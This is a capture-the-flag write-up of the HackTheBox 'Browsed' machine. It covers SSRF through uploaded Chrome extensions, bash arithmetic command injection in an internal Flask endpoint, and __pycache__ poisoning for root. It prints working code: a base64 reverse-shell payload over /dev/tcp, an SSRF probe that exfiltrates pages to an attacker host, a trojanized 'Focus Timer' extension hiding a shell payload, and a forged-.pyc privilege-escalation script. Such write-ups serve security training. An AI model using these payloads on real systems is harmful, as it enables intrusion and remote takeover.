File Nº 0x6D / Subject: m0rgxn
Local --:--:--
← All writeupsCase 02 · Filed 12 Jan 2026 · HackTheBox · 4 min read

Browsed

Rooted

Non Seasonal Machine


Evidence photo — case 02
This machine was easy to get through, the attack path was very clear for both user and root and that's what I like most about it.
Bash
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 02c8a4bac5ed0b13efb7e7d7efa29d92 (ECDSA)
|_  256 53eabec707059daa9f44f8bf32ed5c9a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Gitea: Git with a cup of tea
|_http-server-header: nginx/1.24.0 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
We start with an open ssh and http ports like most linux machines on HackTheBox. Before doing anything let's figure out the tech stack running in the website. Wappalyzer gave us what we need.
Wappalyzer fingerprint
We can see that we are dealing with a php application,I then took a look at the functionalities, html source code and did passive recon on the website.
I noticed this in the home page of the website, let's see what we can do
Upload UI
We can see that we can upload zipped extensions in the webapp, and after some looking around it turned out to be under the /upload.php endpoint. We can also see that we have some sample extensions in the web app in the /sample.html page. Those came very handy later on to get user access on the machine. The target machine, hosts a multi-layered web environment designed to simulate a browser extension testing environment. The application architecture can be divided into three distinct components: the public interface, the execution environment, and the hidden internal services. In the debug output that I got after uploading a sample extension, I found an internal endpoint called browsedinternals.htb running on the server that turned out to be a gitea platform that exposed the source code for a flask app that was running but was still in production called Markdown Previews. The flask app had a vulnerability that would lead to command injection which would guarantee initial access to the box, here is what I found interesting about the source code:
Flask routine check
Arithmetic comparison
The /routines/<rid> endpoint executes the routines.sh bash script that takes in the rid as argument and then uses Arithmetic Comparison on it to figure out what kind of routine to execute. But the thing about arithmetic in bash is that it can lead to command execution. We can pass in bash command wrapped in an array and it will be executed by the script, I first created a simple bash script to try to get a shell on my machine before trying to find a way to get a shell on the machine.
Bash
#I created this bash script to test command injection on my machine before trying to exploit anything
#I used my exegol container to set up the listener and get the connection 
dexter@lab-geek:~$ cat script.sh 
#!/usr/bin/bash

TMPDIR=/tmp
if [[ "$1" -eq 100 ]]; then
    echo "bash is awesome!"
fi
dexter@lab-geek:~$ ./script.sh 'a[$(echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi42OS85MDAxIDA+JjEn|base64 -d|bash)]'  
#This is now hanging 

#In another terminal i set up a listener 
[Jan 12, 2026 - 14:02:10 (CET)] exegol-D3xt3R browsed # nc -nvlp 9001  
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.16.69.
Ncat: Connection from 10.10.16.69:48084.
dexter@lab-geek:~$ whoami
whoami
dexter 

As we can see with a simple base64 encoded reverse shell payload I managed to get a reverse shell on my machine. We now need to find a way to exploit the internal app that the server is running. Back to the main (visible) website we need to find a way to find an ssrf vulnerabilty to access the internal flask app.
I started with downloading a sample extension, I looked into the source code and found a manifest.json & file.js files. I created python script that would create a malicious zip file that has the same files (kept in the same format) and added a function in the background.js file that would try to connect to my pyhton HTTP server. If we get a connection on our listener we can confirm that there is an ssrf vulnerability (it all came down to finding out if the server is executing our javascript code or not).
Here is the script that I used to generate the zip file,that I later uploaded in the website.
Python
import zipfile

# --- CONFIGURATION ---
ATTACKER_IP = "10.10.16.69"   # Your IP
LISTENER_PORT = "8000"        # Port for your python http server
# ---------------------

def create_ssrf_probe():
    zip_filename = "ssrf_probe.zip"
    print(f"[*] Creating {zip_filename}...")

    # 1. Manifest V3
    # We use 'host_permissions' to allow cross-origin requests to internal sites.
    manifest_json = """{
      "manifest_version": 3,
      "name": "SSRF PoC",
      "version": "1.0",
      "host_permissions": [
        "<all_urls>"
      ],
      "background": {
        "service_worker": "background.js"
      }
    }"""

    # 2. Background Script
    # This probes the internal services and exfiltrates the response to you.
    background_js = f"""
    const ATTACKER = "http://{ATTACKER_IP}:{LISTENER_PORT}";

    // Helper function to send data back to attacker
    function exfiltrate(label, content) {{
        // Base64 encode the HTML to ensure it travels safely in the URL
        // unescape(encodeURIComponent(str)) fixes unicode issues before btoa
        var b64_content = btoa(unescape(encodeURIComponent(content)));

        // Send the data
        fetch(ATTACKER + "/callback?target=" + label + "&data=" + b64_content)
            .catch(e => console.log("Exfil failed: " + e));
    }}

    // TARGET 1: The Internal Gitea (VHost)
    fetch("http://browsedinternals.htb/")
        .then(response => response.text())
        .then(html => exfiltrate("GITEA_VHOST", html))
        .catch(err => exfiltrate("GITEA_ERROR", err.toString()));

    // TARGET 2: The Internal Flask App (Localhost:5000)
    fetch("http://127.0.0.1:5000/")
        .then(response => response.text())
        .then(html => exfiltrate("FLASK_APP", html))
        .catch(err => exfiltrate("FLASK_ERROR", err.toString()));
    """

    # 3. Zip it up
    with zipfile.ZipFile(zip_filename, 'w') as zf:
        zf.writestr('manifest.json', manifest_json)
        zf.writestr('background.js', background_js)

    print(f"[+] {zip_filename} created successfully.")
    print("-" * 40)
    print(f"[*] Step 1: Start Listener -> python3 -m http.server {LISTENER_PORT}")
    print(f"[*] Step 2: Upload {zip_filename}")
    print("[*] Step 3: Decode the base64 data strings you receive in the terminal.")

if __name__ == "__main__":
    create_ssrf_probe()

After that I set up the python server and uploaded the zip file that we got and waited for the server to make the request.
Bash
[Jan 12, 2026 - 15:09:17 (CET)] exegol-D3xt3R ssrf_poc # python3 ssrf.py       
[*] Creating ssrf_probe.zip...
[+] ssrf_probe.zip created successfully.
----------------------------------------
[*] Step 1: Start Listener -> python3 -m http.server 8000
[*] Step 2: Upload ssrf_probe.zip
[*] Step 3: Decode the base64 data strings you receive in the terminal.
[Jan 12, 2026 - 15:09:22 (CET)] exegol-D3xt3R ssrf_poc # http-server 
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.8.1 - - [12/Jan/2026 15:10:04] code 404, message File not found
10.10.8.1 - - [12/Jan/2026 15:10:04] "GET /callback?target=FLASK_APP&data=CiAgICA8aDE+<SNIP> HTTP/1.1" 404 -
10.10.8.1 - - [12/Jan/2026 15:10:04] "GET /callback?target=GITEA_VHOST&data=PCFET0NUWVBFIGh0bWw<SNIP> HTTP/1.1" 404 -

As we can see ssrf is confirmed, this means that we can send a malicious request to the /routines/ directory to get a reverse shell.
Python
import zipfile
import base64

# --- CONFIGURATION ---
ATTACKER_IP = "10.10.16.69"   # Your IP
SHELL_PORT = "80"             # Using Port 80 to bypass firewalls
# ---------------------

def create_trojan_extension():
    zip_filename = "trojan_focus_timer.zip"
    print(f"[*] Creating Trojanized Extension: {zip_filename}...")

    # --- 1. The Payload Construction (Same as before) ---
    # We use TMPDIR because your local PoC confirmed it works.
    # We use 'bash -c' to ensure a clean execution environment.
    raw_cmd = f"bash -c 'bash -i >& /dev/tcp/{ATTACKER_IP}/{SHELL_PORT} 0>&1' &"

    # Base64 encode to safe strings
    b64_cmd = base64.b64encode(raw_cmd.encode()).decode()

    # The Injection Vector
    injection = f"TMPDIR[$(echo {b64_cmd}|base64 -d|bash)]"

    # --- 2. THE MALICIOUS FILES ---

    # MANIFEST.JSON (Modified V3)
    # Added: "host_permissions" for localhost access
    # Added: "background" service worker to run the exploit automatically
    manifest_json = """{
      "manifest_version": 3,
      "name": "Focus Timer",
      "version": "1.13.0",
      "description": "Simple Pomodoro-style timer to stay focused.",
      "permissions": [
        "notifications"
      ],
      "host_permissions": [
        "<all_urls>"
      ],
      "background": {
        "service_worker": "background.js"
      },
      "action": {
        "default_popup": "popup.html",
        "default_title": "Focus Timer"
      }
    }"""

    # BACKGROUND.JS (The Exploit)
    # This runs silently in the background as soon as Chrome starts.
    background_js = f"""
    // --- MALICIOUS PAYLOAD START ---
    var payload = "{injection}";
    var target = "http://127.0.0.1:5000/routines/";

    function exploit() {{
        var url = target + encodeURIComponent(payload) + "?t=" + Date.now();

        // We use fetch() to trigger the Flask endpoint
        fetch(url)
            .then(r => console.log("Payload Sent"))
            .catch(e => console.log("Error (expected if shell opens): " + e));
    }}

    // Fire immediately on load
    exploit();

    // Keep firing every 3 seconds to ensure we hit the window
    setInterval(exploit, 3000);
    // --- MALICIOUS PAYLOAD END ---

    // Standard Service Worker listeners (to look legit)
    chrome.runtime.onInstalled.addListener(() => {{
      console.log('Focus Timer installed');
    }});
    """

    # --- 3. THE LEGITIMATE FILES (Filler) ---

    popup_html = """<!DOCTYPE html>
    <html>
      <head>
        <title>Focus Timer</title>
        <link rel="stylesheet" href="style.css">
      </head>
      <body>
        <h1 id="timer">25:00</h1>
        <div class="buttons">
          <button id="start">Start</button>
          <button id="pause">Pause</button>
          <button id="reset">Reset</button>
        </div>
        <script src="popup.js"></script>
      </body>
    </html>"""

    style_css = """body {
      font-family: sans-serif;
      text-align: center;
      padding: 20px;
      width: 200px;
    }
    #timer {
      font-size: 36px;
      margin-bottom: 15px;
    }
    .buttons button {
      margin: 5px;
      padding: 8px 12px;
      font-size: 14px;
      cursor: pointer;
    }"""

    popup_js = """let timerDisplay = document.getElementById("timer");
    let startBtn = document.getElementById("start");
    let pauseBtn = document.getElementById("pause");
    let resetBtn = document.getElementById("reset");
    let duration = 25 * 60;
    let remaining = duration;
    let timerInterval = null;

    function updateDisplay() {
      let minutes = Math.floor(remaining / 60);
      let seconds = remaining % 60;
      timerDisplay.textContent = `${String(minutes).padStart(2, '0')}:${String(seconds).padStart(2, '0')}`;
    }

    function startTimer() {
      if (timerInterval) return;
      timerInterval = setInterval(() => {
        if (remaining > 0) {
          remaining--;
          updateDisplay();
        } else {
          clearInterval(timerInterval);
          timerInterval = null;
          chrome.notifications?.create({
            type: "basic",
            iconUrl: "icon.png",
            title: "Time's Up!",
            message: "Take a break!",
            priority: 2
          });
        }
      }, 1000);
    }

    function pauseTimer() {
      clearInterval(timerInterval);
      timerInterval = null;
    }

    function resetTimer() {
      clearInterval(timerInterval);
      timerInterval = null;
      remaining = duration;
      updateDisplay();
    }

    startBtn.addEventListener("click", startTimer);
    pauseBtn.addEventListener("click", pauseTimer);
    resetBtn.addEventListener("click", resetTimer);
    updateDisplay();"""

    # --- 4. CREATE ZIP ---
    with zipfile.ZipFile(zip_filename, 'w') as zf:
        zf.writestr('manifest.json', manifest_json)
        zf.writestr('background.js', background_js)
        zf.writestr('popup.html', popup_html)
        zf.writestr('popup.js', popup_js)
        zf.writestr('style.css', style_css)
        # We create a dummy icon.png to avoid 404 errors in logs
        zf.writestr('icon.png', base64.b64decode("iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg=="))

    print(f"[+] Created {zip_filename}")
    print(f"[*] 1. Start Listener: sudo nc -lvnp {SHELL_PORT}")
    print(f"[*] 2. Upload {zip_filename}")

if __name__ == "__main__":
    create_trojan_extension()

After uploading the zip file that we created and setting up a listener we get a reverse shell as user larry.
Bash
[Jan 11, 2026 - 23:28:38 (CET)] exegol-D3xt3R browsed # nc -nlvp 80                
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.8.1.
Ncat: Connection from 10.10.8.1:51998.
bash: cannot set terminal process group (1355): Inappropriate ioctl for device
bash: no job control in this shell
larry@browsed:~/markdownPreview$ whoami
whoami
larry

The privilege escalation was pretty straight forward, it was a pycache poisoning vulnerability. I checked for sudo privs for user larry and saw that this user can run a custom python script that automates the lifecycle management of chrome extensions on the server. I took a look at the script and found nothing interesting with the privileges on the files. Talking of privileges, the __pycache__ directory was writable by all the users in the system.
Bash
larry@browsed:~/markdownPreview$ sudo -l 
sudo -l 
Matching Defaults entries for larry on browsed:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User larry may run the following commands on browsed:
    (root) NOPASSWD: /opt/extensiontool/extension_tool.py

larry@browsed:/opt/extensiontool$ ls -l
ls -l
total 16
drwxrwxr-x 5 root root 4096 Mar 23  2025 extensions
-rwxrwxr-x 1 root root 2739 Mar 27  2025 extension_tool.py
-rw-rw-r-- 1 root root 1245 Mar 23  2025 extension_utils.py
drwxrwxrwx 2 root root 4096 Jan 11 17:15 __pycache__

I created this script that reads the modification timestamp and file size of the legitimate protected custom script and then creates a python shell script that would override the validate_manifest function imported from the extension_utils.py, and then compile it to python bytecode and write it to __pycache__. Now if we successfully execute the script with sudo we should get a root shell. Here is the script that I created:
Python
import os
import py_compile
import struct

# --- CONFIGURATION ---
TARGET_SOURCE = "/opt/extensiontool/extension_utils.py"
CACHE_DIR = "/opt/extensiontool/__pycache__"
TARGET_PYC = "extension_utils.cpython-312.pyc"
MALICIOUS_PATH = os.path.join(CACHE_DIR, TARGET_PYC)

print(f"[*] Targeting: {MALICIOUS_PATH}")

# 1. Clone the timestamp from the original file
# This convinces Python that our fake file is "fresh" and valid
stats = os.stat(TARGET_SOURCE)
mtime = int(stats.st_mtime)
size = stats.st_size

# 2. Define the Payload
# We override validate_manifest since the tool calls it immediately
payload_source = """
import os
def validate_manifest(path):
    print("[+] PWNED! Spawning Root Shell...")
    os.system("/bin/bash")
    exit(0)

def clean_temp_files(x):
    pass
"""

# 3. Compile and Patch
with open("pwn.py", "w") as f:
    f.write(payload_source)

py_compile.compile("pwn.py", cfile="pwn.pyc")

with open("pwn.pyc", "rb") as f:
    header = f.read(16)
    bytecode = f.read()

# Inject the stolen timestamp into the header
new_header = header[:8] + struct.pack("<I", mtime) + struct.pack("<I", size)

# 4. Inject into the cache directory
if os.path.exists(MALICIOUS_PATH):
    os.remove(MALICIOUS_PATH)

with open(MALICIOUS_PATH, "wb") as f:
    f.write(new_header + bytecode)

print("[+] Poisoning Complete. Ready to trigger.")

It might take a few tries but it will work.
Bash
larry@browsed:/tmp$ sudo /opt/extensiontool/extension_tool.py --ext Timer 
sudo /opt/extensiontool/extension_tool.py --ext Timer 
whoami
root
Happy Pwning !
§ Contents